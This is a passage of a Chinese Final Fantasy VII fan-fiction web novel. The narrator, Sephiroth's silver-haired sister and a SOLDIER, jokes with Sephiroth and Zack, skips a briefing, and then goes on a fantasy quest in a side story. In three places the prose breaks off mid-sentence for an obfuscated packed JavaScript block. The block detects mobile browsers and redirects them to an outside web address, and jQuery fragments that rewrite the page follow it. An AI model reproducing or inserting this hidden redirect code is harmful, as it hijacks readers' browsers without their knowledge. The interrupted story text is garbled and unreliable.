萨菲罗斯愣住了,随后——他笑了。 不是平时那种带着距离感的微笑,也不是在我面前那种自然而然的轻笑,更不是无奈的弯唇,而是真真正正的、发自内心的笑声。低沉的笑声在空荡的走廊里回荡,让我有些不自在。 萨菲罗斯阳光少年实锤,要是我现在能拍照发到他粉丝群就好了,他肯定掉粉。 "喂,笑什么啊?"我不满地嘟囔道。 "没什么,"他重新整理好表情,恢复了平日的冷静,"只是觉得你的理解...很有趣。" 我皱起眉头。什么意思?难道吃醋不是这个意思吗? 这时,我的终端又在口袋里震动起来。萨菲罗斯敏锐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479153|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉到了。 "谁的消息?"他问。 "不知道,"我耸耸肩,摆出一副满不在乎的样子,"大概是扎克斯吧?" 我话音刚落,就感觉到一股若有若无的压迫感。萨菲罗斯的表情没有变化,但空气中的氛围却微妙地变化了。 "为什么会是他?"萨菲罗斯的声音很轻,几乎像是自言自语。 "因为刚才一起行动嘛,"我解释道,从口袋里掏出终端看了一眼,"咦?是杰内西斯..." 萨菲罗斯的眉头微微皱起:"杰内西斯?" 我点开消息,杰内西斯发来的是一张书页的照片,上面写着:「当女神的礼物降临大地,黑暗与光明的战争将迎来终结...」 "啊,是《LOVELESS》的内容,"我撇了撇嘴,"他这是要干嘛?" "大概是因为你下午的事情。"萨菲罗斯说。 我恍然大悟:"哦!他是想用诗句来警告我?太好笑了吧!" 这就是文艺青年吗? 不过,我今天的事情到底有多少人知道了? 萨菲罗斯看着我笑得前仰后合的样子,嘴角微微上扬:"你真的很喜欢招惹他。" "不是我招惹他,"我回了个嘲讽的表情包,"是他太容易着急了。" 萨菲罗斯轻叹一声,伸手帮我整理了一下被风吹乱的银发。我看到了他指头上的那个牙印,现在已经好的差不多了。 我们沉默地并肩走在走廊上,只有脚步声在空荡的走廊里回响。不知为何,这种沉默并不令人不舒服。 可能是因为我巴不得他沉默吧,他最近说话我总感觉怪怪的。 他突然开口:"有时候,我在想..." "想什么?" "如果我也能像你一样..."他停顿了一下,似乎在思考接下来的词语,"...随心所欲地做自己想做的事情。" 我瞪大了眼睛。萨菲罗斯居然会羡慕我?世界末日要来了吗? "你可以啊,"我拍了拍他的肩膀,"你是神罗的英雄,谁敢管你?" 他轻轻摇头:"正因为如此..." 他的话没有说完,但我好像明白了什么。 越是被期待,越是身负重担,反而越不自由。而我这种"问题产品",反而因为没人对我抱有太高期望,所以可以自由自在。 不过,就算是有人对我抱有期待,我也不会听他们的话就是了。 从小,我在实验室里过的就是随心所欲的生活。 因为组内的地位低下,没有人愿意为了那几千的工资阻止我这么个敢打宝条的“易燃易爆品”,不知为何,却又没人敢“销毁”我。 于是我肆无忌惮的在地区内游荡,想吃什么吃什么,想拿什么拿什么,甚至我的第一本轻小说,还是在实验员办公室里随便抢的。 所以我会是这样的个性。 我笑着问他。 “如果能随心所欲的话,那你会去做什么呢?” 萨菲罗斯抿了抿唇,他瞥了我一眼后,又移开视线,平静的望着前方的道路,我以为他会保持沉默时,男人冷静的回答。 “…不知道。” “好吧。” 真是奇怪,明明说羡慕我,但其实却不知道做什么。 那么还是听我的好了。 比如等我拿下神罗后,让他去当门口的保安。 此刻已经快要到我们的宿舍了。 他好像在思索着什么,当我推门准备回宿舍的时候,萨菲罗斯也没有动,他只是半靠在墙上。 银发在月光下泛着柔和的光泽,他的侧脸线条如此完美,仿佛是艺术家精心雕琢的作品。 "萨菲罗斯,"看着他,我突然发现了一个严肃的问题,"我感觉你又变高了!" 让我拆穿你垫鞋垫的事实。 他转过头望着我,回过神:"我们已经很久没有量身高了。" "明天我们去量一下!"我兴奋地说,"我敢打赌,我肯定也长高了!" "好。"他简单地答应了。 就在我准备关门之时,萨菲罗斯忽然说:"下次别再一个人跑去危险的地方了。" "我不是一个人,"我纠正道,"我带了扎克斯。" "......" "怎么了?" 萨菲罗斯深深地看了我一眼:"没什么。晚安,好好休息。" "晚安!"我朝他挥挥手,走进自己的宿舍。 关上门后,我突然想起了什么,连忙打开终端给扎克斯发了条消息: 【明天萨菲罗斯找你,你就说我们去吃面了,其他的什么都不要说!】 很快,扎克斯回复了: 【是!前辈!不过...我们不是真的就去吃面了吗?】 【是啊,那你就如实回答咯,今天萨菲罗斯好像不太对劲。】 那边的扎克斯回了个点头的表情。 第二天测身高的时候,我惊恐的发现萨菲罗斯居然又长高了一点,怪不得感觉他是不是垫高了。 而我一点没变。 11. 第 11 章 清晨,五台的临时基地内带着淡淡的水汽,刚刚下过了一场雨,原先就没有很热,雨后就更显得清凉——这种时候,更应该把自己裹在温暖的被褥里,享受天未亮起的歇息吧? 但在军营不能如此。 黑发少年打着哈欠,跟几个同为神罗战士的士兵一齐从宿舍走了出来,大多数人都是有气无力的,但扎克斯只是揉了几下眼睛,就活力四射了。 “今天是又要开会吗?!” 他整理了下自己刚刚匆匆在床上穿的裤子后,开始询问他人关于会议的信息。 “呃……嗯。” 扎克斯忽然想起自己没有拿记录的笔记本,于是跟他人打了个招呼后,就跑回了宿舍。 是因为先前的事情,最近的他开始认真参加会议了。 虽然听的不是很懂,但他也会尽可能地记住一些信息……或许以后能有用呢? 虽然迄今为止,听了个开场就睡着的他并没有记下什么东西就是了。 不过,不是所有人都像扎克斯一样充满期待。 “好像是对东边的总攻会议吧?反正也是那些没有营养的宣言。” “这种话你都敢说?” “怎么不敢?感觉打不了几年了,赶紧结束吧,我老婆等着我呢。” 等他拿了笔记本跑过来后,其他的战士也停止了闲聊,他们往会议室的方向走。 等到达门口的时候,发现外面不知为何围了很多人,气氛诡异的安静,他们几人的脚步声格外清晰。 扎克斯探头往里看,透过人头,勉强看到了开着的门,里面的情形却看不大清晰,有些奇怪为什么他们不进去。 “门不是开着的吗?为什么不进去?” 少年挠了挠头后,疑惑的发问,其他人的目光便聚焦到了他身上。 “……” 被一双双眼睛同时看着,扎克斯疑惑地啊了一声。 他们的表情是介于某种惊慌和担忧之间的,有几个人嘴唇蠕动了一下,却没有发出一点声音,一副怕惊动什么东西的模样。 “?” 【那个在里面】 从一人的口型,扎克斯读出了这样的消息。 那个? 那个是什么? 扎克斯大脑转动了一下,虽然茫然,但他第一时间联想到的是什么他不知道的内部暗号。 为什么在基地里还要说暗号啊? “……那个是什么嘛。你们再不进去就迟到了。” 无人回答他。 为什么会是这种表情,难道会议室里有什么炸弹或者是怪物吗? 黑发少年往前了一步,那些人便纷纷给他让了条路。 不知道为什么,这种氛围显得好像有些紧张了,周围安静的可怕,军靴踩在地面上,脚步声清脆。 带着些许汗水的掌心扒在门框上,扎克斯探出了头。 一双荧绿色的眸子与他的视线相遇,如同黑暗中突然亮起的魔晄灯。 银发女人随意的坐在前方的椅子上,她有些无所事事的晃着身体,听见了动静,稍稍抬起头,瀑布般的银发随之滑落,丝缕落在桌面。 原先的表情是平静的。 当她面无表情的时候,很多人会想起另一位相似却又完全不同的存在。 联想的并不是英雄往日的优雅完美,也不是宣传海报上强势压迫的气势。 而是在战场上那绝对的碾压,自如。 有时,敏锐的人能够感觉到,那不自觉流泻而出的——模糊的漠然。 稍稍愣神的时候,那带着魔晄色彩的眸子微微弯起。 她在对他笑。 热情,自然,甚至带着些许天真的稚气。 "扎克斯。" 她叫出了他的名字,声音轻快。 —— 我好无聊。 昨晚睡前,萨菲罗斯特地嘱咐过了我一定要参加明天的会议,好像是一次1st集体行动的复杂安排。 所以我一大早就起来了。 从没有参加过任何一次会议的我也不知道会议室在哪。 但是别人都往这边走,于是我就跟在他们后面一齐到了这里,但他们又不进来,搞得我一直在思考是不是来错了地方。 昨天晚上萨菲罗斯是不是还说了些别的什么? “明天一定要来。” 不是这句。 “见到杰内西斯不可以动手,那是会议。” 也不是这句。 “如果你因为缺乏情报在战场上迷路了,下次你再说要买周刊,我不会给你钱。” 好的我就记得这三句。 不能怪我,我当时真的很困,不是谁都和他一样不怎么需要睡眠的。 但是我也不知道为什么他一走我就突然清醒不少,然后看了一晚上的小说。 必须要说,昨天的情节真的很帅。 主角和五年未见的青梅竹马一齐来到米德加的高级餐馆,一进去就被质疑到底付不付得了钱,结局大快人心,主角拿起了手机就拨打了萨菲罗斯的电话…… 脚步声打断了我的思绪,我偏过头,发现是扎克斯,于是笑着跟他打招呼。 “扎克斯。” “前辈!” 黑发少年的眼睛亮了起来,接着跑过来坐到我旁边位置上,笑嘻嘻的看着我。 "前辈,你也来开会吗?啊,太好了!这次会议一定很重要吧,毕竟前辈你都来了。对了对了,前辈等下开完会跟我一起去吃早餐嘛,我可以请客。还有……“ 他话好多。 但是作为一个负责任的大哥,我必须要回答他,于是就保持高深的迟疑了一下后轻轻点头,这样就显得我好像经过了深思熟虑一样,帅气不少。 总比说我什么都没听清强。 等扎克斯自顾自的跟我介绍完食堂最新的品类后,他偏过头,望向了外面那些仍然不进来的人。 “对了,前辈,他们说里面有那个,所以不进来,那个是什么?” 那个? 扎克斯,你觉得我是擅长谜语的人吗? 还有,这里什么时候有“那个”了?我已经在这里坐了半个小时,连个毛都没见到。 “什么那个,扎克斯你说人话。” 他挠了挠头,接着四顾张望,确认没有别的东西后,视线落在了我身上,忽然恍然大悟。 “前辈,你就是’那个‘!” ? 我伸出手敲了下他的脑袋,扎克斯对我眨了眨眼,随后茫然道。 “为什么要敲我的头呀?” 因为我觉得你在骂我。 但是扎克斯肯定是无意的,毕竟他是我最忠诚的小弟,稍微惩戒一下以展现威严就可以原谅了。 “谁跟你说我是’那个‘的?” 呵呵,等下处理掉。 他思索了一下,随后摊开手。 “大家好像都这么说。” 他话音刚落的时候,我听见外面有些许细细簌簌的声音,敏锐的听力一下就捕捉到了大概5个人的动作变化,方位大概是往西退了几步。 原来是这样。 怎么给我换了个称呼呢? “哦,这个啊,我还以为又是杰内西斯跟你说了什么。” 看到扎克斯疑惑的神情,我便慢条斯理地跟他说起我称呼的变迁史。 从“奇怪的少女”,到“精神不太稳定的炸弹”,再到“没人性的兵器”,接着是“怪物”,最后现在变成了“那个”。 “说到底我还是觉得怪物比较帅,你觉得呢?” 扎克斯没有回答我,他抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479154|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抿唇,显露出了一种我看不懂的表情。 "前辈…你说得对,''怪物''确实比较帅气。"扎克斯认真地说,"不过我觉得,前辈就是前辈,才不是什么怪物呢。" 他的品味我一向是认可的,不过你要是把前辈换一下我会更满意。 于是我跟扎克斯讨论了很久关于外号的帅气程度,最后还是没能让他改口叫我“大哥”或者“老大”。 所以会议呢? 算了,反正也没从参加过,翘了就翘了吧。 “前辈,呃……不是要开会吗?" 现在才意识到不对劲吗扎克斯,你已经跟我在一条船上了。 我打了个响指后,直接站起来,伸了个懒腰,扎克斯便也从座位上起来,他往外探头,发现外面的人不知何时已经走光。 我咳了咳,循循善诱道。 “扎克斯你看,我们是早起了对吧?也来到了会议室对吧?” 他点点头。 “那我们已经尽力了,参加不成会议也没办法。他们能怪我们吗?我们难道不想参加会议吗?” 扎克斯一副很明显收到启发的样子,但只是稍微思考了一下,就迟疑着开口。 “但我们也没有做什么啊?只是一直坐在这里……” “扎克斯你饿了吗?” “哎?” “我们去吃早餐吧。” “好啊!前辈我带你去吃我最喜欢吃的那个,今天正好是周三呢……” 我被他兴高采烈的拉着往食堂走,当我回过神的时候,手上已经有了一份三明治。 咬了口,味道还不错。 “前辈,好吃吗?我觉得这个最好吃了!” “干得不错扎克斯。” 我嚼着免费三明治,喝了口牛奶,在我对面的扎克斯明明说饿了也不吃东西,在那盯着我看。 他桌子上的面难道是摆设吗? 我望着对面不动声色的扎克斯,终于忍不住开口:"你不吃吗?" “啊……呃,其实,我一直想问前辈你,跟萨菲罗斯将军是什么关系呢?” 这有什么好问的? 不过,近年才来的士兵确实都不知道,只有先前跟我们执行过任务的老兵才知晓。 “是兄妹吧。” “哇,那就好。” 什么叫那就好啊,我并不觉得这是个值得庆祝的事。 就因为他有这么个不知从哪里得到的名头,从小到大都在管我。 说到底,兄妹关系到底是怎样定义的呢? 有没有那种对方无条件给我打钱并且对我言听计从的关系,我想要那个。 他倒是笑得压都压不下来,这让我更不爽了。 “有什么好笑的?” “啊……没什么啦。” 我看到他稍稍愣了一下,就低下头拿起筷子,开始有些着急的吃面,因为动作过于快速,很快就被烫到了,就有些狼狈的吐着舌头喝冷水。 低下头咬了口三明治,把牛奶喝光,我把牛奶盒放回桌子的间隙,瞥见了他。 黑发少年捧着玻璃杯,用那双蓝眼睛小心翼翼地看我。 看什么看? "你到底吃不吃?"我伸手一把夺过扎克斯碗里最大的一块肉,"军队里不允许浪费食物。" 黑发少年这才如梦方醒,急忙护住自己的碗:"啊!前辈,别全拿走!"他脸上浮现一抹红晕,嘴上这么说着,却也没怎么躲避,我顺利拿到了肉。 “那你以为我和他是什么关系?” 我吃着肉,随口一问。 扎克斯吃面的动作停了停,他咽下一口汤后,也没有抬头,恨不得把脸埋进碗里。 “感觉……前辈和将军很亲密,有种说不上来的感觉。所以……我以为前辈喜欢他呢。” 12. 第 12 章 喜欢? 我喜欢看小说,也喜欢吃东西,也喜欢战斗。 但萨菲罗斯就是萨菲罗斯。 我从来没有用“喜欢”或“讨厌”来定义过他。 萨菲罗斯就像空气一样自然地存在于我的生命中,是不需要定义的存在。 —— 况且,喜欢不都是用于一个物品的吗?我从未见过有小说里的人对他人直接说“喜欢”这样的话。 男女主总是非常莫名其妙的“在一起”了,男主好像只是站在那就毫无缘由的有了很多后宫。人与人的互动并不是书籍的重点,反而集中在战力的升级和打脸装逼上。 在我深思熟虑的时刻,扎克斯还在滔滔不绝着。 “现在看来是我误会了啊……呃,有点糟糕,误会兄妹是情侣什么的……但是前辈跟萨菲罗斯军之前真的很特别,特别到让人感到有些不安……不不不,我不是这个意思。” “……” 扎克斯他现在说的是人话吗? 我怎么没有几句是听得懂的? 说好一起在会议上摸鱼,扎克斯你这家伙,背着我偷偷进修神罗密码学了吗? "前辈,你在听吗?"扎克斯的声音将我从思绪中拉回。 "啊?"我眨眨眼,"你刚才说什么?" "我是说..."扎克斯的声音突然变小了,"抱歉误会你和将军的关系..." 我叹了口气:"你到底在说什么啊?什么关系不关系的。" "就是..."扎克斯支支吾吾,"你们不是那种关系啊..." 我挑了挑眉:"那种关系?" "就是...那个..." "那个是什么?" "就是...恋人..." 这下听懂了。 我差点把嘴里的培根喷出来:"噗——什么?" "对不起!"扎克斯立刻道歉,"我不该胡思乱想的!" 我擦了擦嘴,认真地看着他:"扎克斯,你最近是不是看了什么奇怪的小说?" "没...没有啊。" "那你为什么会有这种想法?" "因为..."扎克斯纠结了一会,"前辈和将军之间的氛围很特别...而且将军对前辈的态度也和对其他人不一样..." 我若有所思地点点头:"哦,你是说他对我特别凶?” "不是!"扎克斯急忙摆手,"是特别...特别..." "特别什么?" "特别温柔..." 我想了想最近萨菲罗斯动不动就掐我脸、抢我零食、克扣我津贴的行为。 扎克斯是瞎了吗? "...你确定我们说的是同一个人?" 扎克斯露出一个复杂的表情:"前辈,你真的不觉得吗?将军他..." 就在这时,我的终端又响了。 【你在哪?】 是萨菲罗斯发来的消息。 【食堂啊。】我回复。 【会议呢?】 【什么会议?】 【...】 【开玩笑的,我知道有会议,但是你也知道,我从来不参加会议的。】 【现在。立刻。马上。过来。】 【我去过会议室了,结果大家都走了,不是我的错。】 【你去的哪个会议室?】 【啊……还有别的会议室吗?扎克斯看起来也不知道。】 【你跟他在一起?】 【对啊。】 【…】 ? 扎克斯不知道什么时候已经吃完面了,他正好奇的探过头来看我的终端屏幕,于是我十分自然的拍了拍他的脑袋。 手感不错。 我现在知道为什么萨菲罗斯喜欢摸我的头了。 少年啊了一声,抬起头,用那双蓝眼睛看着我。 “前辈,为什么拍我的头……” “想拍就拍了,不可以吗?” “……” 他低了低脑袋,也不说话了。 什么,我难道有什么让别人沉默的技能吗? 这种技能为什么不能在我想要的时候出现,比如萨菲罗斯训话我的时候。 我正准备回复萨菲罗斯的消息,突然终端就被抽走了。 "萨菲罗斯?!"扎克斯惊呼。 抬起头,银发的男人不知何时已经站在我们桌前。他面无表情地看了眼终端上的对话记录,然后将目光转向我。 "1st的会议室在顶层。"他平静地说。 "哦,原来还有这种事。"我耸耸肩,"那现在过去也来得及吧?" 萨菲罗斯没有回答,只是伸手抓住了我的衣领。我被迫站起来,像个垃圾袋一样被他拎着走。 "等等,我还没吃完!" "你已经吃了一个半小时。" 扎克斯在我身后担忧地站起来:"那个...我也有责任..." 萨菲罗斯回头看了他一眼:"你的训练时间改到今天下午。" "是!"扎克斯立刻挺直了背。 扎克斯,我宣布今天上午你就是我们家族的敌人。 一路上,路过的士兵们都目瞪口呆地看着这一幕:神罗的英雄拎着一个不断挣扎的银发女人走过走廊。 而我还在试图讨价还价。 "至少让我把早餐带上?" "不行。" "那晚上请我吃饭?" "......" 最后我还是被带到了据点顶层的会议室。推开门的瞬间,所有人的目光都集中在了我们身上。 杰内西斯正在看《LOVELESS》,安吉尔面露无奈,而拉扎德主任则露出了一个"果然如此"的表情。 "抱歉,"萨菲罗斯简短地说,"找到她花了点时间。" 我半死不活的瘫倒在座位上。 真不知道有什么好聊的,这种会议到底有什么意义吗?直接给我任务位置,然后让我过去全杀了就可以了吧? 好像他们正好在聊到我的任务,怪不得萨菲罗斯把我抓过来了。 “位置是北方第三据点潜伏的三支抵抗军,全员歼灭。” 拉扎德主管这么说着,就把一个文件递给了我,我拿起随意翻看了一下,最后拿出终端对着里面的地图和位置拍了张照。 安吉尔稍稍沉默了下,发出担忧的声音。 “机密文件还是不要留下影音资料比较好……” “安吉尔,你要知道,她的脑子什么都记不住。” 杰内西斯欠揍的话被我自动无视,我拍完照后在桌子下偷偷踢了下萨菲罗斯的小腿。 "……" 银发男人放下手里的文件,那双魔晄色的眸子稍稍抬起,与我四目相对。 【萨菲罗斯,你偷偷跟我一起去做任务呗,我请你去五台吃饭】 我用唇形这么跟他说着。 萨菲罗斯看了我一眼,嘴角微不可察地抽动了一下。 "专心开会。"他的声音很轻,但带着不容置疑的语气。 我撇了撇嘴,继续低头翻看文件。但说实话,这些密密麻麻的文字看得我头疼。我开始怀念我的小说了,那些故事够刺激,不像这些枯燥的报告。 旁边是拉扎德和安吉尔的交流声。 因为无聊,所以我就又轻轻踢了下他的靴子,萨菲罗斯的手指稍稍蜷缩了一下。 见萨菲罗斯不理我,我又踢了第三下。这次他终于放下文件,转头看向我。 “要做什么?” 【陪我去!】 我用唇形重复了一遍,接着又悄悄踢了一下他,这次,直接就被他用靴子轻轻踩住了。 我抬起头,透过银色的发丝,瞥见了他的侧脸。 你笑什么? 有什么好笑的吗? —— 实际上,1st们的感官都相当敏感。 至少会议室内,杰内西斯和安吉尔都感受到了旁边那不太对劲的两人。 桌子下,杰内西斯收起《loveless》,他注意到了她的小动作,挑了挑眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479155|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 真像个幼稚的孩子。 这么想着,他正准备出言讽刺一下,在旁边记笔记的安吉尔突然丢给了他一个意味深长的眼神。 “……?” 转眼间,那个眼神就消失了。 拉扎德将问题交到了她身上。 “你的任务报告呢?” 女人显露出了茫然的神色,杰内西斯几乎要笑出声。 "呃……清理干净了。" "具体细节呢?"拉扎德追问。 对方歪着头想了想:"就…都死了?" 杰内西斯没忍住,发出一声不屑的轻笑。 于是那双绿色的眸子狠狠的瞪过来。 —— 杰内西斯真的是活腻了,看来几天前我在训练场上赏他的穿胸一刀没有让他清醒过来。 "杰内西斯,"安吉尔投给红发男人一个无奈的眼神,"现在是会议。" 他不置可否的哼了一声。 拉扎德咳了咳后,就继续跟安吉尔讨论下一件事情了。 好无聊。 比起听这些没意义的汇报,踩萨菲罗斯要有趣得多。 虽然他已经用靴子固定住了我的动作,但这并不妨碍我继续尝试。 【我保证这次不会再搞事情了!】我继续用口型对萨菲罗斯说。 他挑了挑眉,显然不相信我的话。 【真的!而且我请客!】 萨菲罗斯轻轻摇头,但嘴角的弧度出卖了他的心情。 你就笑吧,谁笑得过你啊。 他低声叫了下我的名字。 "嗯?" "如果你再不专心,"他的声音压得很低,"明天的零花钱减半。" 我也不知道为什么萨菲罗斯每个月都要给我一笔零花钱,这种古怪的习惯从小时候就开始了。 之前问过他,他大概简单的说过,这是什么“兄长的义务”。 这个威胁确实有效。 我立刻正襟危坐,假装自己在认真听会议内容。但没过多久,我就又开始走神了。这次我开始研究会议桌的纹理,数着上面的年轮。 杰内西斯在对面放下了文件,发出响声。我抬起头,正好对上他戏谑的目光。 "看来某些人对会议内容很有意见?"他说。 "我觉得直接给我任务地点就行了,"我耸耸肩,"为什么要坐在这里浪费时间?" "因为这是程序,"安吉尔温和地解释,"而且了解详细情报对任务很重要。" 我撇撇嘴:"情报有用吗?反正最后都是要清场。" 拉扎德咳嗽了一声,打断了我们的对话:"既然这么想快点结束会议,那我们继续,快些结束。关于北部据点的防御部署..." 我又开始走神,这次是研究杰内西斯的发型。说真的,他是不是偷偷去做了造型?红发看起来比平时更加闪亮。 萨菲罗斯似乎察觉到了我的走神,他的靴子轻轻碾了碾我的脚。 【好痛!】我夸张地皱起了脸。 他挑眉:【专心。】 【无聊死了。】 【那就想想怎么完成任务。】 【和你一起的话就简单了。】 “……” 他微微偏过头,没有再跟我说话了。 好吧,爱去不去。 但你的脚能不能收回去,别踩着我了,我还打算去踹杰内西斯呢。 —— 之后的萨菲罗斯时不时会想起那一天。 —— 2000年3月。 执行任务的银发1st失去踪迹,方圆3公里内没有任何的生机,当搜寻小队赶到的时候,空气中弥漫着未散去的莹绿色光点。 过多生命在同时回归星球的现象。 同年,夏末。 去相同区域执行任务的1st——杰内西斯,重伤归来,带着失踪的1st神罗战士。 不知为何,他身上的伤势恢复速率减缓,目前仍在昏迷中。 神罗内部的科学家荷兰德参与治愈计划。 13. (番外)我是白毛太刀虾[番外] 今天是我白毛太刀侠决定出发讨伐魔王的第一天。 我和我的两个大剑小伙伴一齐接过了神罗冒险者工会的重担,稍微白嫖了一下沿途路人欢送给的吃食,我们正式出发。 首先我要介绍一下我的头号小弟扎克斯——来自贡加加的阳光少年,与我同为1st冒险者的后辈,虽然不是很清楚为什么要讨伐魔王,但是因为我要去所以就跟在我身后的黑毛大剑侠。 第二位是我小弟的小弟(虽然他不愿意承认但我觉得就是)克劳德——来自尼布尔海姆的高冷男,时不时间歇性头疼,因为好像自己的家乡被魔王爆了所以选择跟我们一起的金毛大剑侠。 天哪,我们的组合简直无懈可击。 结果离开王国的第一步,我们就被难住了。 “前辈!我们往哪个方向去呢?” 扎克斯是比我资历浅了一些的冒险者,所以称呼我为前辈,但我其实更喜欢“勇者大人”或者是“大哥”这种称呼。 我挠了挠头,手上的羊皮纸被我看了又看。 等等,按照标准的流程来说,地图上不应该直接写着有个地点叫“魔王城”吗? 在一旁站着的克劳德抿了抿唇,他小声的对扎克斯说。 “扎克斯,真的要让她当队长吗?之前不是一直是我……” 我们不是第一次在一起执行任务了,对于陆行鸟的质疑,我报以嗤笑。 克劳德,我知道你很想谋权篡位,但是作为唯一的太刀侠,我不是队长谁是队长呢? “明明出门前抽签决定了我来当勇者,怎么,你有意见吗克劳德?” “……” "问题出在哪里?"我单手叉腰,"难道不是每次你们把我的路线都说是错的,最后事实证明我是对的吗?" 克劳德欲言又止,但显然回想起了上次我带着他们"抄近路",结果真的抄到了的经历。 "好吧,"金发剑士低声说,"但这次至少让我们看看地图?" "不行,"我把地图收进怀里,"身为队长,这是我的特权。" 扎克斯在旁边笑出声:"前辈说得对!既然抽签决定了,那就这样吧。" 我满意地点点头。扎克斯,不愧是我最得力的小弟。至于克劳德嘛...迟早会被我的英明领导折服的。 "那么,"我环视四周,"我们往...那边走!" 我随手一指。克劳德的表情瞬间就垮了下来。 "前辈,"扎克斯小心翼翼地说,"那边是悬崖..." "所以呢?"我挑眉,"你觉得魔王会把城建在大路边上吗?" "可是..." "没有可是!"我大手一挥,"相信我,魔王一定住在最难找的地方。而且你看,那边有个山洞。" "那是魔兽巢穴..."克劳德无力地说。 "更好!"我兴奋起来,"说不定能找到什么线索。而且我们缺钱了,猎魔兽可以赚报酬。" 我雄赳赳气昂昂地往山洞方向走去,身后传来克劳德的叹息和扎克斯努力憋笑的声音。 "等等,前辈!"扎克斯追上来,"至少让我们准备一下?" "准备什么?"我头也不回,"我们三个,三把大剑..." "前辈,你用的是太刀。" "好吧,两把大剑加一把太刀,"我纠正道,"难道还打不过几只魔兽?" 突然,一声响亮的龙吼从山洞方向传来。 克劳德立刻拔出大剑,警惕地环顾四周:"这不是普通的魔兽..." "太好了!"我拍手,"说不定是魔王的宠物龙!抓住它,就能问出魔王城的位置了!" "前辈,"扎克斯也握紧了剑柄,"我不认为龙会告诉我们方向..." "那就打到它说为止!" 话音未落,一只体型庞大的黑龙从山洞中冲出,发出震耳欲聊的吼声。它的眼睛闪烁着危险的红光,利爪在阳光下泛着寒芒。 "看,"我得意地说,"我就说能找到线索吧?" 克劳德扶额:"这完全是歪打正着..." "少废话!"我抽出太刀,"等会分赃的时候记住今天是谁带你们找到宝藏的!" "什么宝藏?这明明是..." 不等克劳德说完,我已经冲了上去。太刀在阳光下划出一道银光,直指黑龙的咽喉。 "喂!黑龙!"我大喊,"魔王在哪个方向?!" 黑龙显然被我的问题噎住了。它愣了一下,然后更加愤怒地咆哮起来。 "看来是不想说啊,"我眯起眼睛,"那就打到说为止!" 结果黑龙被我们打死后,也没有能说出一句话。 我觉得它就是不想说。 明明血条快要见底了,也只是低吼着,我也没听懂什么意思,在队友们不忍的眼光下送走了它最后一程。 可恶,没想到魔王居然有如此忠诚的手下…… 出于对对手的尊敬心理,我将它烤熟,做成了我们三个的晚饭。 “扎克斯,好吃吗?” “前辈,这真不错啊!没想到龙肉这么有层次。” 扎克斯笑着又烤了一块放在了克劳德碗里,他顿了顿后,勉强咽下去。 “怎么样,好吃吧?” 我兴致勃勃的问。 “……没意思。” ? 克劳德你不会说话可以不说了。 火光明灭之下,我吃的满嘴流油,一扎克斯在外面准备休息的营地,坐在旁边的陆行鸟正盯着火堆发呆。 然后,他就忽然显露出了那种惊慌失措的表情,猛地捂住了头。 “噗——” 看来是克劳德又发病了,我正准备拿魔晶石把他这狼狈的一面录制掉拿来以后敲诈他,结果陆行鸟突发恶疾,把我突然压倒,开始掐我的脖子。 我的烤肉都掉在了地上。 四目相对之时,碧色的魔晄瞳孔与他蔚蓝的双眸对上了视线。 眼里的是痛苦吗? 对视的一瞬,我听见了他喉咙里发出的那种类似于低吼的声音,手上的力道更用力了些。 不是克劳德,我做的龙肉有这么难吃吗? 我的膝盖毫不留情地撞向他的腹部。克劳德吃痛松手,我趁机翻身而起,把他摁在地上,二人重重的倒在火堆旁。 虽然我被掐脖子也死不了,但是会留下痕迹,很难看。 “喂喂喂,醒了吗?” 汗水顺着他的脸颊滴落,慢慢的他的眼神逐渐恢复清明,但看起来异常疲惫。 "对不起…"金发剑士低声说。 我歪了歪头后放开他,克劳德低着头坐在火堆旁,一副忧郁的模样。 “没事,你知道我被掐脖子死不了的。” “……” 他没有回答,只是盯着地面。 于是我伸出手在他眼前晃了晃,克劳德猛地抓住我的手,他却不敢抬头看我似的低着头。 相握的手一直在抖,我都以为他又要突发恶疾了。 “喂,怎么了?” “…没事。” 那你把我松开啊。 “看来,你总是会让他想起不好的事。” 我稍稍转过头,是萨菲罗斯。 银发男人唇角带着若有若无的笑意,半靠着墙壁,望着我。 两双如出一辙的眸子相对。 对了,忘记说,我好像是他的妹妹。 虽然按理而言我们没有任何血缘关系,但又是同母异父的关系。 “什么不好的事,难道是因为我之前在蒂法面前让他出丑吗?” “呵……” 他挑了挑眉,不置可否地笑了一声。 谜语人你笑什么呢? 克劳德握着我的手收紧了,我感受到了轻微的疼痛,转过头对他眨了眨眼。 “你……刚刚又在跟谁说话?” 金发剑士对我轻声发问,我呃了一声。 我没有跟人说话啊,看来克劳德又出现幻觉了。 他显露出了那种担忧的表情——怎么,你以为所有人都跟你一样经常恍恍惚惚的吗? 我可是一直都很清醒。 克劳德抿了抿唇,忽然伸出手放在了我的额头上。 